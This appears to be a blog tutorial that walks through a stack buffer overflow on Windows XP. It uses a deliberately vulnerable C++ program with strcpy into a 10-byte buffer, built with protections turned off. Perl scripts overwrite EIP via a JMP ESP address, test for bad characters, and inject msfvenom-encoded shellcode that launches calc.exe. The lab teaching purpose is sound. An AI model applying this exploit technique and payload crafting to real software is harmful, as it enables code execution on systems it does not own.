Exploit Development 1: EIP buffer overflow

In this post we’re going to look at an EIP based buffer overflow. We will exploit a small example C++ program.

Setup

The following setup will be used:

  • Windows XP SP3 English (32bit)
    • VC++ 14 runtime
    • WinDbg 6.12 as post mortem debugger
    • Immunity Debugger 1.73/1.85 (with pvefindaddr and mona plugins)
    • Dependency Walker 2.2.6000
  • Windows 10 (64bit)
    • Visual Studio Community Edition 2015
    • Windows 7 SDK
    • ActivePerl 5.24
  • Kali Linux 2016-2 (64bit)

Visual Studio 2015 Community Edition was used to compile the code:

// Exploit1.cpp
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include "ExploitLib.h"

void CopyBuffer(char* passedBuffer, char* passedText)
{
    strcpy(passedBuffer, passedText);
}

int main(int argc, char *argv[])
{
    ExploitLib::Functions::ShowBanner();

    FILE *fp;
    int length;

    char *input = NULL;
    char buffer[10] = { 0 };

    fp = fopen("attack_test.txt", "r");

    if (fp)
    {
        fseek(fp, 0, SEEK_END);
        length = ftell(fp);
        fseek(fp, 0, SEEK_SET);
        input = (char*)malloc(sizeof(char) * length + 1);

        if (input)
        {
            fread(input, 1, length, fp);
            input[length] = 0;
        }
        fclose(fp);
    }
    else
    {
        perror("Error");
        return 0;
    }

    CopyBuffer(buffer, input);
    printf("> %s\n", buffer);
    return 0;
}
// ExploitLib.h
#pragma once

namespace ExploitLib
{
    class Functions
    {
        public:
        static __declspec(dllexport) void ShowBanner();
    };
}
// ExploitLib.cpp

#include "stdafx.h"
#include "ExploitLib.h"
#include <stdio.h>

namespace ExploitLib
{
    void Functions::ShowBanner()
    {
        printf("Initializing application...\n");
    }
}

The program is comprised of an executable and a application library. It loads the “attack_test.txt” file from the same folder and displays its contents in the console.

The software project can be obtained from GitHub under https://github.com/scenex/securityimpact.

I’ll be running Visual Studio 2015 on Windows 10. Make sure to have the Windows 7 SDK installed, so you’re able to target Windows XP (Visual Studio 2015 – Windows XP (v140_xp)).

For the EIP overwrite based attack, we will set the compiler protection mechanisms flags as follows for both projects:

 /GS- /DYNAMICBASE:NO /NXCOMPAT:NO /SAFESEH:YES 

Make sure DEP “Data Execution Mode” in Windows is running in either “OptIn” or “AlwaysOff” mode.

Analysis

Usually you do not have to luxury of owning the source code of a target. In our case we have. The vulnerable application loads and reads the file “attack_test.txt” into an dynamically allocated buffer, sized accordingly to the text file length. So far so good. As a next step the buffer contents are being copied to an statically allocated buffer with a length of maximally 10 bytes. That’s where a targeted EIP overwrite and shellcode injection will take place.

Let’s start by crafting a Perl script to deliberately overflow the buffer:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXY";

open($FILE,">$file");
print $FILE $overflow;
close($FILE);
print "File created\n";

Copy the “attack_test.txt” into the same folder as the vulnerable application resides and execute the application.

1-overflow

The exception handler triggers and the application halts. Debugging the application brings up the following output from WinDbg:

1-overflowdbg

Pay attention to EIP and EBP. Matching the register values with ASCII hex values and checking where ESP points to, will lead to the following stack layout reconstruction:


[Buffer]      [EBP] [EIP] [ESP]
[0123456789AB][CDEF][GHIJ][KLMNOPQRSTUVWXY]

So all we need to do, is to put an address into EIP where a “JMP ESP” is performed and make sure the memory pointed to by ESP contains the shellcode.

Search for the opcode with mona:

!mona asm -s jmp esp
jmp esp = \xff\xe4

Search for the opcode in memory:

!mona find -s \xff\xe4
0x7c86467b : \xff\xe4 |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
...

We’ll use the first address from the found results.

Adapt the Perl as follows:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $eip = pack('V',0x7C86467B);
my $breakpoint = "\xcc";

open($FILE,">$file");
print $FILE $overflow.$eip.$breakpoint;
close($FILE);
print "File created\n";

When the application is run again with the newly generated text file, we’ll see that the breakpoint was hit at ESP. Which means that we’re now in full control of the program flow!

1-overflowdbg2

Shellcode

In the final step we will inject and run some shellcode into the application. As a proof of concept we’ll use the infamous calc.exe example.

We will use the following rather compact shellcode:
https://packetstormsecurity.com/files/96493/Windows-XP-SP3-EN-Calc-Shellcode.htm


/*------------------------------------------------------------------------
Title...................Windows XP SP3 EN Calc Shellcode 16 Bytes
Release Date............12/7/2010
Tested On...............Windows XP SP3 EN
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------*/

int main(int argc, char *argv[])
{
char shellcode[] =
"\x31\xC9"             // xor ecx,ecx
"\x51"                 // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163
"\x54"                 // push dword ptr esp
"\xB8\xC7\x93\xC2\x77" // mov eax,0x77c293c7
"\xFF\xD0";            // call eax

((void(*)())shellcode)();

return 0;
}

What the shellcode basically does, is to call the system() function with a parameter of “calc”, which in turn starts the Windows calculator application.

Even though the author writes that the shellcode was tested on the same OS version as my setup, the address of 0x77C293C7 does lead nowhere in my case.

So let’s figure out the correct address. To figure out where the system() function resides, we’ll start “Dependency Walker”:

1-dependencywalker

WinDgb shows following load information about the ucrtbase.dll module:

ModLoad: 00410000 004e8000 C:\WINDOWS\system32\ucrtbase.dll

Therefore the system() function is located at: 0x00410000 + 0x00B1070 = 0x004C1070

Change the shellcode to use the calculated address (little endian!).
There’s another problem now, we have a 0x00 in our shellcode which break the shellcode. (strcpy() will interpret it as a string terminator).

It’s a good moment to check for potential other bad characters.

Check for bad characters with the following script:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $eip = pack('V',0x7C86467B);

my $bad_chars =
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" .
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" .
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" .
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" .
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" .
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" .
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" .
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" .
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" .
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" .
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" .
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" .
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" .
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" .
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" .
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";

open($FILE,">$file");
print $FILE $overflow.$eip.$bad_chars;
close($FILE);
print "File created\n";

Set a breakpoint at 0x004010F6 in Immunity and check the stack.

It seems like there’s another bad character as well that should be avoided. 0x1A doesn’t get copied into the buffer. So the two opcodes 0x00 and 0x1A should be avoided all together in the shellcode.

1-badcharacters

“0xBAADF00D (“bad food”) is used by Microsoft’s LocalAlloc(LMEM_FIXED) to indicate uninitialised allocated heap memory when the debug heap is used.” (Wikipedia)

Not being able to use 0x00 in our shellcode would be fatal because it is part of the address that needs to get called in order to start calc.exe.

Luckily Metasploit provides encoders to encode the shellcode.

First it is necessary to generate binary code from our modified shellcode. Following script will do it:


my $file = "shellcode.bin";

my $shellcode_calc =
"\x31\xC9"             . # xor ecx,ecx
"\x51"                 . # push ecx
"\x68\x63\x61\x6C\x63" . # push 0x636c6163
"\x54"                 . # push dword ptr esp
"\xB8\x70\x10\x4C\x00" . # mov eax,0x004c1070
"\xFF\xD0";              # call eax

open($FILE,">$file");
print $FILE $shellcode_calc;
close($FILE);
print "Shellcode file created\n";

Enter the following command after you copied the “shellcode.bin” file to /tmp


cat /tmp/shellcode.bin | msfvenom -p - -a x86 --platform windows -e x86/shikata_ga_nai -b '\x00\x1a' -f perl

1-msfvenom

Copy the encoded shellcode from Metasploit and paste it into the Perl script:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $eip = pack('V',0x7C86467B);

my $shellcode_calc_encoded =
"\xda\xc1\xbd\xdc\x21\x52\x41\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\xb1\x05\x83\xe8\xfc\x31\x68\x13\x03\xb4\x32\xb0\xb4\x75" .
"\xfc\x65\x5f\x16\x9f\xe9\xfc\x8c\xe7\x82\x12\x60\x18\x9c" .
"\xc3";

open($FILE,">$file");
print $FILE $overflow.$eip.$shellcode_calc_encoded;

close($FILE);
print "File created\n";

That’s it? Not yet, when we follow the shellcode decoding, we notice that the shellcode overwrites parts of itself at the address 0x0012FF83.

1-shikatanagaioverwrite

So let’s add 6 bytes of padding before the actual shellcode:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $eip = pack('V',0x7C86467B);

my $shikata_ga_nai_buffer = "\x90" x 0x06;
my $shellcode_calc_encoded =
"\xda\xc1\xbd\xdc\x21\x52\x41\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\xb1\x05\x83\xe8\xfc\x31\x68\x13\x03\xb4\x32\xb0\xb4\x75" .
"\xfc\x65\x5f\x16\x9f\xe9\xfc\x8c\xe7\x82\x12\x60\x18\x9c" .
"\xc3";

open($FILE,">$file");
print $FILE $overflow.$eip.$shikata_ga_nai_buffer.$shellcode_calc_encoded;

close($FILE);
print "File created\n";

Run it again. Looks much better!

1-exploit

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s